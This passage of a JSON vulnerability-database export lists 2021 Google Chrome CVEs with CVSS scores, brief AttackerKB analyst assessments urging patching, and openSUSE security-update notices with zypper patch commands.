"confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T00:00:00", "type": "attackerkb", "title": "CVE-2021-21206", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206"], "modified": "2021-04-29T00:00:00", "id": "AKB:DD1DB11A-039E-4C46-8789-1158839E5A3F", "href": "https://attackerkb.com/topics/UxuGSBx67S/cve-2021-21206", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-22T23:19:00", "description": "Use after free in WebGL in Google Chrome prior to 91.0.4472.114 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at June 21, 2021 7:19pm UTC reported:\n\nApparently this is a UAF vulnerability in the WebGL component of Chrome that has been exploited in the wild according to <https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html>. No further details at the moment other than that its triggered via JavaScript, which makes sense given this is a UAF vulnerability. As per usual, disable JavaScript where possible using plugins like NoScript if you want to mitigate the risk of this vulnerability somewhat, however its highly recommended to just update your Chrome and Edge browsers to the latest version available.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T00:00:00", "type": "attackerkb", "title": "CVE-2021-30554", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30554"], "modified": "2021-07-07T00:00:00", "id": "AKB:51E88AF4-0A81-4B72-8855-34DF072124D9", "href": "https://attackerkb.com/topics/BAdojKKNTO/cve-2021-30554", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-27T04:47:45", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-03T00:00:00", "type": "attackerkb", "title": "CVE-2021-30563", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-10T00:00:00", "id": "AKB:9D905B34-8121-41F5-8B42-E3A825212673", "href": "https://attackerkb.com/topics/9h6envpJIH/cve-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-04T05:13:30", "description": "Insufficient validation of untrusted input in V8 in Google Chrome prior to 89.0.4389.128 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-26T00:00:00", "type": "attackerkb", "title": "CVE-2021-21220", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-04-27T00:00:00", "id": "AKB:7E06EF37-046E-4E9E-AD5A-F4C2477ECB9E", "href": "https://attackerkb.com/topics/guR2zJ2y2K/cve-2021-21220", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-07T08:09:14", "description": "Use after free in Portals in Google Chrome prior to 94.0.4606.61 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-37973", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37973"], "modified": "2021-10-15T00:00:00", "id": "AKB:E19B9242-C88F-44D6-8AED-AFDFBCF99977", "href": "https://attackerkb.com/topics/o1WP6FeDo0/cve-2021-37973", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-19T02:12:05", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-10T00:00:00", "type": "attackerkb", "title": "CVE-2021-38003", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2022-01-10T00:00:00", "id": "AKB:411A7B9E-A187-43CF-8DA1-E0E921F590D1", "href": "https://attackerkb.com/topics/E0DZ4ITK2W/cve-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-29T20:35:00", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at February 05, 2021 4:25pm UTC reported:\n\nReported as exploited in the wild at <https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>. Several news articles such as <https://www.theverge.com/2021/2/5/22267872/chrome-88-zero-day-vulnerability-government-backed-hackers-security-researchers> have suggested that given the timing of this bug, and that it was reported one day before Google\u2019s report on the North Korea hackers targeting security researchers (see <https://www.theverge.com/2021/1/26/22250060/google-threat-analysis-group-north-korean-hackers-cybersecurity-researchers-social-engineering>), it may be related to the 0day Chrome bug that was used by North Korean state actors in that engagement.\n\nGiven this is a remote heap overflow in the browser there may be some concerns regarding reliability though and whilst I\u2019m sure there will be public exploits for this bug, I do question how reliable they will be given the nature of trying to exploit heap exploits. I would imagine the exploit would take advantage of JavaScript to craft the heap appropriately. Therefore a temporary, but not recommended, precaution may be to disable JavaScript in Chrome until one can apply this update.\n\nPlease note that Chrome will automatically apply the update if you open and close your browser. However people do tend to keep Chrome open with many tabs and then suspend their PC at the end of the day, so its possible that these patches will likely see an uptick in application when the next Patch Tuesday or company wide patch cycle is enforced and people are forced to reboot their PCs to apply patches, and therefore restart Chrome.\n\nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "attackerkb", "title": "CVE-2021-21148", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-13T00:00:00", "id": "AKB:B61D2687-96CE-4CE9-939F-9E35DA7814C4", "href": "https://attackerkb.com/topics/9stbF9rFqe/cve-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-03T08:15:01", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-15T00:00:00", "type": "attackerkb", "title": "CVE-2021-30551", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-18T00:00:00", "id": "AKB:732A3017-A62C-4347-9709-9B8790F47FA1", "href": "https://attackerkb.com/topics/V4ywqx3Gej/cve-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-13T18:31:51", "description": "Inappropriate implementation in Memory in Google Chrome prior to 94.0.4606.71 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at October 02, 2021 7:27pm UTC reported:\n\nMore info will be available at <https://bugs.chromium.org/p/chromium/issues/detail?id=1251787> when this bug gets declassified however for now <https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html> indicates that this is a Medium severity bug caused by an information leak within Core itself. It was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero and was first discovered on 2021-09-21.\n\nThe fact that Google TAG discovered this combined with the fact this was exploited in the wild means that its likely Google found this exploit via in the wild exploitation and TAG noticed these exploitation attempts, verified it was a 0day vulnerability, and then notified Google so that they could issue a fix. What is interesting though is that there is no mention of a related 0day exploit that was combined with this vulnerability, which I imagine would be needed in order to make a full exploit.\n\nMost likely this vulnerability would be used to leak information needed for form a full exploit, and would likely be useful for bypassing certain security mitigations that may otherwise prevent the exploit from working normally.\n\nOn its own this vulnerability is therefore of Medium to Medium-Low severity, however given its use in exploits in the wild I\u2019d recommend still patching this to make sure that you are protecting your organization against threats that have been proven to have been successfully exploited in real world scenarios. Just be aware that this might sit lower on your priority list than vulnerabilities that can get RCE on their own.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2021-10-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-37976", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37976"], "modified": "2021-10-15T00:00:00", "id": "AKB:D35B77A1-B787-4DAD-A906-5CA8A79C2F30", "href": "https://attackerkb.com/topics/3rMpC921i9/cve-2021-37976", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-04-30T21:25:48", "description": "Use after free in V8 in Google Chrome prior to 94.0.4606.71 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at October 02, 2021 7:38pm UTC reported:\n\nExploitation in the wild of this bug has been noted as reported by Google at <https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>. The bug details are available at <https://bugs.chromium.org/p/chromium/issues/detail?id=1252918> but are still classified to the public until more people have patched.\n\nThe bug in question is a Use-After-Free vulnerability in the V8 JavaScript rendering engine of Google Chrome prior to 94.0.4606.71. It was reported by an anonymous user on 2021-09-24. Use-After-Free vulnerabilities in V8 are not all that uncommon and are frequently used in the wild to attack Chrome users, as was observed with this particular bug. They often give an attacker access to the user\u2019s desktop considering that the V8 engine is not sandboxed, although according to <https://www.zdnet.com/article/bugs-in-chromes-javascript-engine-can-lead-to-powerful-exploits-this-project-aims-to-stop-them/>, there are plans by Google to potentially look at sandboxing the V8 engine in the future.\n\nAll in all given the severity of this bug, the lack of sandboxing of the V8 engine, the history of exploitation of V8 bugs in the past giving a rich knowledge base for attackers to work from, and the fact that this bug has been exploited in the wild already, I would highly recommend patching this bug as soon as possible.\n\nIf this is not possible then JavaScript should be disabled on all untrusted sites using a plugin such as NoScript or by disabling JavaScript execution within the settings of Chrome itself to avoid exposing oneself to this vulnerability until patches can be deployed.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-37975", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-10-15T00:00:00", "id": "AKB:D986B627-DA84-4C1B-8D20-5ADF751B05BF", "href": "https://attackerkb.com/topics/k42b9c5WU4/cve-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-18T08:10:14", "description": "Insufficient validation of untrusted input in Intents in Google Chrome on Android prior to 95.0.4638.69 allowed a remote attacker to arbitrarily browser to a malicious URL via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2022-01-10T00:00:00", "type": "attackerkb", "title": "CVE-2021-38000", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38000"], "modified": "2022-01-10T00:00:00", "id": "AKB:795A9D93-F12E-4850-BD6A-5E10D1372B2C", "href": "https://attackerkb.com/topics/O9D2WYAxlB/cve-2021-38000", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "suse": [{"lastseen": "2022-04-18T12:40:30", "description": "An update that fixes two vulnerabilities is now available.\n\nDescription:\n\n This update for chromium fixes the following issues:\n\n - Chromium 89.0.4389.128 (boo#1184700):\n * CVE-2021-21206: Use after free in blink\n * CVE-2021-21220: Insufficient validation of untrusted input in v8 for\n x86_64\n\n This update was imported from the openSUSE:Leap:15.2:Update update project.\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Backports SLE-15-SP2:\n\n zypper in -t patch openSUSE-2021-575=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-19T00:00:00", "type": "suse", "title": "Security update for chromium (critical)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220"], "modified": "2021-04-19T00:00:00", "id": "OPENSUSE-SU-2021:0575-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/7IO7QUUW232VPDW2BITKAFAZ63OJKMQB/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-18T12:40:30", "description": "An update that fixes two vulnerabilities is now available.\n\nDescription:\n\n This update for chromium fixes the following issues:\n\n - Chromium 89.0.4389.128 (boo#1184700):\n * CVE-2021-21206: Use after free in blink\n * CVE-2021-21220: Insufficient validation of untrusted input in v8 for\n x86_64\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.2:\n\n zypper in -t patch openSUSE-2021-567=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-17T00:00:00", "type": "suse", "title": "Security update for chromium (critical)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220"], "modified": "2021-04-17T00:00:00", "id": "OPENSUSE-SU-2021:0567-1", "href": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/5J4EIEBQDVS2O3BUI7IGNQ45JQRY7IQ5/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-06T12:08:56", "description": "An update that fixes three vulnerabilities is now available.\n\nDescription:\n\n This update for opera fixes the following issues:\n\n opera was updated to version 80.0.4170.16\n\n Fixes:\n\n - CHR-8590 Update chromium on desktop-stable-94-4170 to 94.0.4606.61\n - DNA-95347 Make InstallerStep::Run async\n - DNA-95420 First suggestion in address field is often not highlighted\n - DNA-95613 Browser closing itself after closing SD/first tab and last\n opened tab\n - DNA-95725 Promote O80 to stable\n - DNA-95781 Import fixes for CVE-2021-37975, CVE-2021-37976 and\n CVE-2021-37974 to desktop-stable-94-4170\n\n - Complete Opera 80.0 changelog at:\n https://blogs.opera.com/desktop/changelog-for-80/\n - Drop Provides/Obsoletes for opera-gtk and opera-kde4\n opera-gtk and opera-kde4 were last used in openSUSE 13.1\n\n Opera was updated to version 79.0.4143.72\n\n Fixes:\n\n - DNA-94933 Add emoji panel to address bar\n - DNA-95210 Add emoji YAT address bar suggestions\n - DNA-95221 Emoji button stuck in address bar\n - DNA-95325 Make y.at navigations to be reported with page_views events\n - DNA-95327 Add \ufffd\ufffd\ufffdEmojis\ufffd\ufffd\ufffd context menu option in address bar field\n - DNA-95339 Add YAT emoji url suggestion to search\ufffd\ufffd dialog\n - DNA-95364 Add browser feature flag\n - DNA-95416 Remove emoji button from address bar\n - DNA-95439 Enable #yat-emoji-addresses on developer stream\n - DNA-95441 [Mac big sur] Emoji are not shown in address bar url\n - DNA-95445 Crash when removing unsynced pinboard bookmark with sync\n enabled\n - DNA-95512 Allow to show title and timer for simple banners\n - DNA-95516 Wrong label in settings for themes\n - DNA-95679 Temporarily disable AB test for a new autoupdater logic\n\n\nPatch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended installation methods\n like YaST online_update or \"zypper patch\".\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.3:NonFree:\n\n zypper in -t patch openSUSE-2021-1358=1\n\n - openSUSE Leap 15.2:NonFree:\n\n zypper in -t patch openSUSE-2021-1358=1", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-15T00:00:00", "type": "suse", "title": "Security update for opera (important)", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", 